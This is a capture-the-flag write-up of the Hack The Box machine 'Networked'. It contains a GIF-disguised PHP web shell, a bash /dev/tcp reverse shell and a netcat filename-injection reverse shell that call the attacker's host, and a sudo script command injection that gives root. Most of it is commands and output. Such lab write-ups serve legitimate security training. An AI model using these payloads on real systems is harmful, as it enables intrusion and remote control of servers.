Networked is an easy Linux box that was released back in August 2019.
As always we begin our Enumeration using Nmap to enumerate opened ports. We will be using the flags -sC for default scripts and -sV to enumerate versions.
λ root [ 10.10.14.7/23 ] [nihilist/_HTB/Networked] → nmap -F 10.10.10.146 Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-18 10:28 GMT Nmap scan report for 10.10.10.146 Host is up (0.099s latency). Not shown: 97 filtered ports PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 443/tcp closed https Nmap done: 1 IP address (1 host up) scanned in 2.67 seconds λ nihilist [ 10.10.14.7/23 ] [~/_HTB/Networked] → nmap -sCV -p22,80 10.10.10.146 Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-18 10:28 GMT Nmap scan report for 10.10.10.146 Host is up (0.098s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.4 (protocol 2.0) | ssh-hostkey: | 2048 22:75:d7:a7:4f:81:a7:af:52:66:e5:27:44:b1:01:5b (RSA) | 256 2d:63:28:fc:a2:99:c7:d4:35:b9:45:9a:4b:38:f9:c8 (ECDSA) |_ 256 73:cd:a0:5b:84:10:7d:a7:1c:7c:61:1d:f5:54:cf:c4 (ED25519) 80/tcp open http Apache httpd 2.4.6 ((CentOS) PHP/5.4.16) |_http-server-header: Apache/2.4.6 (CentOS) PHP/5.4.16 |_http-title: Site doesn't have a title (text/html; charset=UTF-8). Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 10.84 seconds
Let's investigate the webservice running on port 80 using the curl command with the -sk flags.
λ root [ 10.10.14.7/23 ] [nihilist/_HTB/Networked] → curl -sk http://10.10.10.146 <html> <body> Hello mate, we're building the new FaceMash!</br> Help by funding us and be the new Tyler&Cameron!</br> Join us at the pool party this Sat to get a glimpse </body> </html>
Not much to see on the index page, so let's launch dirsearch to enumerate what directories we can find on the box.
λ nihilist [ 10.10.14.7/23 ] [~/_HTB/Networked] → dirsearch -u http://10.10.10.146/ -e txt,html,js,php -t 50 git clone https://github.com/maurosoria/dirsearch.git dirsearch -u-e -t 50 -x 500 _|. _ _ _ _ _ _|_ v0.3.9 (_||| _) (/_(_|| (_| ) Extensions: txt, html, js, php | HTTP method: get | Threads: 50 | Wordlist size: 7126 Error Log: /home/nihilist/Desktop/Tools/dirsearch/logs/errors-20-02-18_10-32-21.log Target: http://10.10.10.146/ [10:32:21] Starting: [10:32:24] 403 - 213B - /.ht_wsr.txt [10:32:24] 403 - 215B - /.htaccess-dev [10:32:24] 403 - 217B - /.htaccess-local [10:32:24] 403 - 206B - /.hta [10:32:24] 403 - 217B - /.htaccess-marco [10:32:24] 403 - 215B - /.htaccess.BAK [10:32:24] 403 - 216B - /.htaccess.bak1 [10:32:24] 403 - 216B - /.htaccess.orig [10:32:24] 403 - 215B - /.htaccess.old [10:32:24] 403 - 216B - /.htaccess.save [10:32:24] 403 - 218B - /.htaccess.sample [10:32:24] 403 - 215B - /.htaccess.txt [10:32:24] 403 - 217B - /.htaccess_extra [10:32:24] 403 - 216B - /.htaccess_orig [10:32:24] 403 - 214B - /.htaccess_sc [10:32:24] 403 - 214B - /.htaccessBAK [10:32:24] 403 - 214B - /.htaccessOLD [10:32:24] 403 - 215B - /.htaccessOLD2 [10:32:24] 403 - 212B - /.htaccess~ [10:32:24] 403 - 210B - /.htgroup [10:32:24] 403 - 215B - /.htpasswd-old [10:32:24] 403 - 216B - /.htpasswd_test [10:32:24] 403 - 212B - /.htpasswds [10:32:24] 403 - 210B - /.htusers [10:32:34] 301 - 235B - /backup -> http://10.10.10.146/backup/ [10:32:34] 200 - 885B - /backup/ [10:32:35] 403 - 210B - /cgi-bin/ [10:32:39] 200 - 229B - /index.php [10:32:39] 200 - 229B - /index.php/login/ [10:32:48] 200 - 169B - /upload.php [10:32:48] 301 - 236B - /uploads -> http://10.10.10.146/uploads/ [10:32:48] 200 - 2B - /uploads/
here we have a few interesting results : /backup , /upload.php and /uploads/ , Let's move over to /upload.php and upload our nihilist.php which will basically grab the html GET Variable "nihilist" and pass it to the system command which will execute it.
λ nihilist [ 10.10.14.7/23 ] [~/_HTB/Networked] → nano nihilist.py
<?php system($_GET['nihilist']); ?>
Uploading the php file we get an error message "invalid image file". Earlier on our dirsearch scan found the /backup/ directory so navigating there we see a file named backup.tar ready for us to download, so let's do so using wget.
λ root [ 10.10.14.7/23 ] [nihilist/_HTB/Networked] → wget http://10.10.10.146/backup/backup.tar && exiftool backup.tar --2020-02-18 10:47:23-- http://10.10.10.146/backup/backup.tar Connecting to 10.10.10.146:80... connected. HTTP request sent, awaiting response... 200 OK Length: 10240 (10K) [application/x-tar] Saving to: ‘backup.tar’ backup.tar 100%[==================>] 10.00K --.-KB/s in 0.004s 2020-02-18 10:47:23 (2.26 MB/s) - ‘backup.tar’ saved [10240/10240] ExifTool Version Number : 11.86 File Name : backup.tar Directory : . File Size : 10 kB File Modification Date/Time : 2019:07:09 12:33:42+01:00 File Access Date/Time : 2020:02:18 10:47:23+00:00 File Inode Change Date/Time : 2020:02:18 10:47:23+00:00 File Permissions : rw-r--r-- File Type : TAR File Type Extension : tar MIME Type : application/x-tar Warning : Unsupported file type
so we get a regular tar file, let's just extract it with tar -xvf
λ root [ 10.10.14.7/23 ] [nihilist/_HTB/Networked] → tar -xvf backup.tar index.php lib.php photos.php upload.php
so we get a bunch of php files , now we are trying to see in what ways a user can interact with the server, so we'll use the following grep command and look at it's results
λ root [ 10.10.14.7/23 ] [nihilist/_HTB/Networked] → grep -Ri '$_' * Binary file backup.tar matches nihilist.php: lib.php:<form action="" method="post" enctype="multipart/form-data"> photos.php: if ((strpos($exploded[0], '10_10_') === 0) && (!($prefix === $_SERVER["REMOTE_ADDR"])) ) { upload.php:if( isset($_POST['submit']) ) { upload.php: if (!empty($_FILES["myFile"])) { upload.php: $myFile = $_FILES["myFile"]; upload.php: if (!(check_file_type($_FILES["myFile"]) && filesize($_FILES['myFile']['tmp_name']) < 60000)) { upload.php: //$name = $_SERVER['REMOTE_ADDR'].'-'. $myFile["name"]; upload.php: $name = str_replace('.','_',$_SERVER['REMOTE_ADDR']).'.'.$ext; λ root [ 10.10.14.7/23 ] [nihilist/_HTB/Networked] → cat upload.php| grep type if (!(check_file_type($_FILES["myFile"]) && filesize($_FILES['myFile']['tmp_name']) < 60000)) {
Looking at the results, we see a few interesting variables , most notably the $_FILES global variable. we can also see that we must not upload a file that is too large, AND (&&) we need to make sure the check_file_type function allows us to proceed. so let's run the grep command again, this time looking for the check_file_type function :
λ root [ 10.10.14.7/23 ] [nihilist/_HTB/Networked] → grep -Ri 'check_file_type(' * Binary file backup.tar matches lib.php:function check_file_type($file) { λ root [ 10.10.14.7/23 ] [nihilist/_HTB/Networked] → nano lib.php
Looking at the results, we see it's being used in both upload.php and lib.php
function check_file_type($file) { $mime_type = file_mime_type($file); if (strpos($mime_type, 'image/') === 0) { return true; } else { return false; } }
looking at the function, we see that the file_mime_type function basically checks for magic bytes at the beginning of the uploaded file and seeing if it is actually an image. To test this , we can try and create our own false images :
λ root [ 10.10.14.7/23 ] [nihilist/_HTB/Networked] → echo "GIF8;nihilist" > test.txt λ root [ 10.10.14.7/23 ] [nihilist/_HTB/Networked] → file test.txt test.txt: GIF image data 26723 x 2608
λ root [ 10.10.14.7/23 ] [nihilist/_HTB/Networked] → nano nihilist.php
GIF8;
λ root [ 10.10.14.7/23 ] [nihilist/_HTB/Networked] → mv nihilist.php nihilist.php.gif
next up we upload it, and browse to it
and from there, we can basically have command execution for example :
http://10.10.10.146/uploads/10_10_14_7.php.gif?nihilist=cat%20/etc/passwd root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/spool/mail:/sbin/nologin operator:x:11:0:operator:/root:/sbin/nologin games:x:12:100:games:/usr/games:/sbin/nologin ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin nobody:x:99:99:Nobody:/:/sbin/nologin systemd-network:x:192:192:systemd Network Management:/:/sbin/nologin dbus:x:81:81:System message bus:/:/sbin/nologin polkitd:x:999:998:User for polkitd:/:/sbin/nologin sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin postfix:x:89:89::/var/spool/postfix:/sbin/nologin guly:x:1000:1000:guly:/home/guly:/bin/bash saslauth:x:998:76:Saslauthd user:/run/saslauthd:/sbin/nologin apache:x:48:48:Apache:/usr/share/httpd:/sbin/nologin mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin tcpdump:x:72:72::/:/sbin/nologin http://10.10.10.146/uploads/10_10_14_7.php.gif?nihilist=uname%20-a GIF8;Linux networked.htb 3.10.0-957.21.3.el7.x86_64 #1 SMP Tue Jun 18 16:35:19 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux http://10.10.10.146/uploads/10_10_14_7.php.gif?nihilist=bash -i >& /dev/tcp/10.10.14.7/9001 0>&1
Here we see that the previous URL does not work because we need to URL ENCODE the spaces, and & symbols, the spaces are + and the & are %26
http://10.10.10.146/uploads/10_10_14_7.php.gif?nihilist=bash+-i+>%26+/dev/tcp/10.10.14.7/9001+0>%261
and we are catching the incoming reverse shell connection on our port 9001 :
λ root [ 10.10.14.7/23 ] [nihilist/_HTB/Networked] → nc -lvnp 9001 listening on [any] 9001 ... connect to [10.10.14.7] from (UNKNOWN) [10.10.10.146] 56620 bash: no job control in this shell bash-4.2$ uname -a uname -a Linux networked.htb 3.10.0-957.21.3.el7.x86_64 #1 SMP Tue Jun 18 16:35:19 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux bash-4.2$ cd /home/guly cd /home/guly bash-4.2$ ls -la ls -la total 28 drwxr-xr-x. 2 guly guly 159 Jul 9 2019 . drwxr-xr-x. 3 root root 18 Jul 2 2019 .. lrwxrwxrwx. 1 root root 9 Jul 2 2019 .bash_history -> /dev/null -rw-r--r--. 1 guly guly 18 Oct 30 2018 .bash_logout -rw-r--r--. 1 guly guly 193 Oct 30 2018 .bash_profile -rw-r--r--. 1 guly guly 231 Oct 30 2018 .bashrc -rw------- 1 guly guly 639 Jul 9 2019 .viminfo -r--r--r--. 1 root root 782 Oct 30 2018 check_attack.php -rw-r--r-- 1 root root 44 Oct 30 2018 crontab.guly -r--------. 1 guly guly 33 Oct 30 2018 user.txt bash-4.2$ uname -a uname -a Linux networked.htb 3.10.0-957.21.3.el7.x86_64 #1 SMP Tue Jun 18 16:35:19 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux bash-4.2$ whoami whoami apache
But we are not yet able to print the user flag, because we do not have enough permissions. we are currently the user apache, so we need to escalate privlieges to the guly user.
bash-4.2$ cat check_attack.php cat check_attack.php $value) { $msg=''; if ($value == 'index.html') { continue; } #echo "-------------\n"; #print "check: $value\n"; list ($name,$ext) = getnameCheck($value); $check = check_ip($name,$value); if (!($check[0])) { echo "attack!\n"; # todo: attach file file_put_contents($logpath, $msg, FILE_APPEND | LOCK_EX); exec("rm -f $logpath"); exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &"); echo "rm -f $path$value\n"; mail($to, $msg, $msg, $headers, "-F$value"); } } ?>
so here we have the php sourcecode of check_attack.php, and you can see that it has a dangerous function here exec("") which is like the system() function we used earlier, it can basically execute anything. So let's look at a line in particular :
exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &");
here we can see that we have no control over anything in this line EXCEPT for the $value variable, which is basically the name of the file, let's navigate over to /var/www/html/uploads/
bash-4.2$ cd /var/www/html/uploads cd /var/www/html/uploads bash-4.2$ nc -v nc -v Ncat: Version 7.50 ( https://nmap.org/ncat ) Ncat: You must specify a host to connect to. QUITTING
From there, we see that netcat is available for us.
Terminal 1:bash-4.2$ touch -- ';nc -c bash 10.10.14.7 9002;.php' touch -- ';nc -c bash 10.10.14.7 9002;.php' bash-4.2$ ls ls 10_10_14_7.php.gif 127_0_0_2.png 127_0_0_4.png index.html 127_0_0_1.png 127_0_0_3.png ;nc -c bash 10.10.14.7 9002;.php
here we see that we have the filename we want, which will replace our previous $value and seamlessly give us another reverse shell. we ready our other terminal.
Terminal 2:λ nihilist [ 10.10.14.7/23 ] [~/_HTB] → nc -lvnp 9002 listening on [any] 9002 ... connect to [10.10.14.7] from (UNKNOWN) [10.10.10.146] 50702 uname -a Linux networked.htb 3.10.0-957.21.3.el7.x86_64 #1 SMP Tue Jun 18 16:35:19 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux python -c 'import pty;pty.spawn("/bin/bash")' [guly@networked ~]$
and now we have upgraded our reverse shell to a tty using python's pty.spawn() function
λ nihilist [ 10.10.14.7/23 ] [~/_HTB] → nc -lvnp 9002 listening on [any] 9002 ... connect to [10.10.14.7] from (UNKNOWN) [10.10.10.146] 50708 python -c 'import pty;pty.spawn("/bin/bash")' [guly@networked ~]$ cat /home/guly/user.txt cat /home/guly/user.txt 52XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
And that's it ! we have been able to print out the user flag.
In order to privesc on a linux machine, a good reflex to have is to try out the sudo -l command
[guly@networked ~]$ sudo -l sudo -l Matching Defaults entries for guly on networked: !visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin, env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS", env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE", env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY", secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin User guly may run the following commands on networked: (root) NOPASSWD: /usr/local/sbin/changename.sh [guly@networked ~]$ ls -la /usr/local/sbin/changename.sh ls -la /usr/local/sbin/changename.sh -rwxr-xr-x 1 root root 422 Jul 8 2019 /usr/local/sbin/changename.sh
We see that the script changename.sh may be run as root with no password although as you can see from the result of our second command, we do not have the writing rights to it as it is owned by the root user, so let's check what it does :
[guly@networked ~]$ cat /usr/local/sbin/changename.sh cat /usr/local/sbin/changename.sh #!/bin/bash -p cat > /etc/sysconfig/network-scripts/ifcfg-guly << EoF DEVICE=guly0 ONBOOT=no NM_CONTROLLED=no EoF regexp="^[a-zA-Z0-9_\ /-]+$" for var in NAME PROXY_METHOD BROWSER_ONLY BOOTPROTO; do echo "interface $var:" read x while [[ ! $x =~ $regexp ]]; do echo "wrong input, try again" echo "interface $var:" read x done echo $var=$x >> /etc/sysconfig/network-scripts/ifcfg-guly done /sbin/ifup guly0
basically the vulnerability here is, that if we put a space in any of the variables, once the commands we want is being put in the config file, when the script is going to read it, it is going to execute our command for us , as root.
[guly@networked ~]$ sudo /usr/local/sbin/changename.sh sudo /usr/local/sbin/changename.sh interface NAME: nihilist nihilist interface PROXY_METHOD: nihilist nihilist interface BROWSER_ONLY: nihilist bash nihilist bash interface BOOTPROTO: TCP TCP [root@networked network-scripts]# cat /root/root.txt cat /root/root.txt 0aXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
And that's it ! we have been able to privesc, and print out the root flag !
Here we can see the progress graph :